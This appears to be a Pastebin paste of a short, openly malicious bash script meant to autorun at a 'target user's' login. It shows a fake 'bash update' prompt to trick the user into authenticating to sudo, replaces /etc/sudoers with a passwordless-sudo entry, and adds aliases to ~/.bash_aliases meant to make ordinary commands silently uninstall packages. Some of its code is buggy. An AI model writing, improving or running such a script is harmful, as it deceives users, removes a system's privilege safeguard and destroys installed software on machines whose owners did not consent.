Advertisement
Krystal_Amaia

Untitled

Jun 16th, 2016
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.70 KB | None | 0 0
  1. #! /bin/bash/
  2. # This File needs to be set to autorun when target user logs in.
  3. # Here to disable sudo passwords.  
  4. # We'll improve this later.
  5. if  ! [ -f ~/.config/.kcabus/.sudoers ]
  6.     then
  7.         cp /etc/sudoers ~/.config/.kcabus/.sudoers
  8.         echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >> ./newsudoers
  9.         echo "An update to bash needs you to authenticate to sudo to continue..."
  10.         #sudo prompt is shown.
  11.         sudo mv -f ./newsudoers /etc/sudoers
  12. fi
  13.  
  14. DIRS=( "/bin" "/sbin/" "/usr/bin" "/opt" )
  15.  
  16. for dir in "${DIRS[@]}"
  17.     do
  18.         for file in "${dir[@]}"
  19.             do
  20.             echo "alias $file = 'sudo apt-get -qq remove $file'" >> ~/.bash_aliases
  21.         done
  22. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement